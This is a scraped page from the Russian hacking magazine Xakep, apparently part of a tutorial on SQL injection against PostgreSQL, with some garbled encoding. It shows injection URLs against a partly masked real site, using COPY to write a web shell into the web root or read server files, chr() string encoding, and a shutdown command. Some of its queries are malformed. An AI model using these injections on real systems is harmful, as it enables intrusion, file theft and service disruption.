Ãœðù - Xakep Online
Ãœðù - Xakep Online
Ãœðù - Xakep Online
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
взлом<br />
Возможности программы COSS<br />
NGSSQuirreL в действии<br />
4. Для записи данных из файла в таблицу или наоборот, из<br />
таблицы в файл в PostgreSQL, используется оператор COPY.<br />
Вот его синтаксис, взятый из документации:<br />
COPY tablename [ ( column [, ...] ) ]<br />
TO { 'filename' | STDOUT }<br />
[ [ WITH ]<br />
[ BINARY ]<br />
[ OIDS ]<br />
[ DELIMITER [ AS ] 'delimiter' ]<br />
[ NULL [ AS ] 'null string' ] ]<br />
При копировании данных из таблицы в файл все просто:<br />
copy targettable to '/home/www/';copy.<br />
Для получения шелла в поле таблицы targettable, естественно,<br />
должен быть прописан код, создающий шелл (пример запроса:<br />
insert into «targettable"(columnname) values ('');). Поле columnname должно иметь строковой<br />
тип (char, varchar). Единственное «но» — нужны соответствующие<br />
права записи в файл и записи в директорию. Либо можно попытаться<br />
перезаписать уже существующий файл. Далее мы просто<br />
обращаемся к сайту напрямую, поскольку задана WWW-директория<br />
(в примере). В общем, тут много вариантов, можно, к примеру,<br />
еще и проапдейтить таблицу своими значениями (UPDATE).<br />
Если же нужно копировать существующий файл в таблицу, то<br />
последовательность действий должна быть следующей. Создаем<br />
новую таблицу с одним столбцом, выполняем запрос,<br />
копирующий файл в таблицу. Затем выполняем запрос для<br />
выбора данных из таблицы.<br />
Сами запросы по порядку:<br />
create table mytable(columnname);<br />
create table copy mytable (columnname) from '/home/www/file'<br />
union select culumnname from «mytable»<br />
5. Числа 0 и 1 не равнозначны булевым значениям TRUE и<br />
FALSE. Об этом свидетельствует и сам ответ сервера.<br />
Запрос:<br />
http://club.*****.ru/?part_id=10 or 1<br />
Вывод:<br />
Warning: pg_query(): Query failed: ERROR: Argument of or must<br />
be type boolean, not type integer in var/www/htdocs/veresk_<br />
club/classes/SQL.class.php on line 25<br />
Fatal error: Call to undefined function: fetchrow() in /var/www/<br />
htdocs/veresk_club/classes/SQL.class.php on line 25<br />
xàêåð 05 /101/ 07<br />
/<br />
Запрос:<br />
http://club.*****.ru/?part_id=10 or TRUE<br />
Вывод:<br />
Страница сайта.<br />
Запрос «http://club.*****.ru/?part_id=10 and TRUE=TRUE»<br />
успешно выполнится, а «http://club.*****.ru/?part_id=10 and<br />
TRUE=1» нет.<br />
6. Все select-запросы разделяются точкой с запятой, но на<br />
выходе мы наблюдаем результат только последнего запроса.<br />
То есть использование «ядовитого нуля» обязательно.<br />
Запрос:<br />
http://club.*****.ru/?part_id=10;select 1/**/<br />
Вывод:<br />
Страница сайта.<br />
7. Ограничение доступа никто не отменял, поэтому для<br />
записи в файл нужны соответствующие права. Нужно<br />
создать новый файл в доступной нам по правам<br />
папке или писать в другой файл, также доступный<br />
пользователю, под которым запущен PostgreSQL.<br />
8. Функция chr() возвращает ASCII-код символа. Но ее использование<br />
связано с некоторой сложностью, поскольку<br />
функция принимает и возвращает только один символ.<br />
Для получения кода целой строки придется вызывать<br />
отдельную функцию для каждого символа и в последствии<br />
объединять.<br />
Пример:<br />
Строка «123».<br />
Кодирование:<br />
chr(1)||chr(2)||chr(3)<br />
9. Текущего пользователя можно узнать, вызвав функцию<br />
User(), а версию — используя функцию version().<br />
10. Вырубить сервер всегда можно с помощью<br />
простой инструкции shutdown (при соответствующих<br />
правах).<br />
Все намного проще…<br />
В начале этого повествования я не успел обрадовать читателя<br />
и упомянуть о том, что извлечь данные из PostgreSQL при<br />
определенных обстоятельствах намного легче, чем из той же<br />
MySQL.<br />
http://<br />
Если хочется<br />
протестировать<br />
утилиты DB Audit<br />
и NGSSQuirreL, то<br />
их всегда можно<br />
скачать с официальных<br />
сайтов — www.<br />
softtreetech.com и<br />
www.ngssoftware.<br />
com. Правда,<br />
для скачивания<br />
последней утилиты<br />
придется<br />
зарегистрироваться.<br />
DVD<br />
На диске ты<br />
найдешь последние<br />
версии PostgreSQL<br />
и Oracle, а также<br />
интересные книги по<br />
структуре СУБД.<br />
079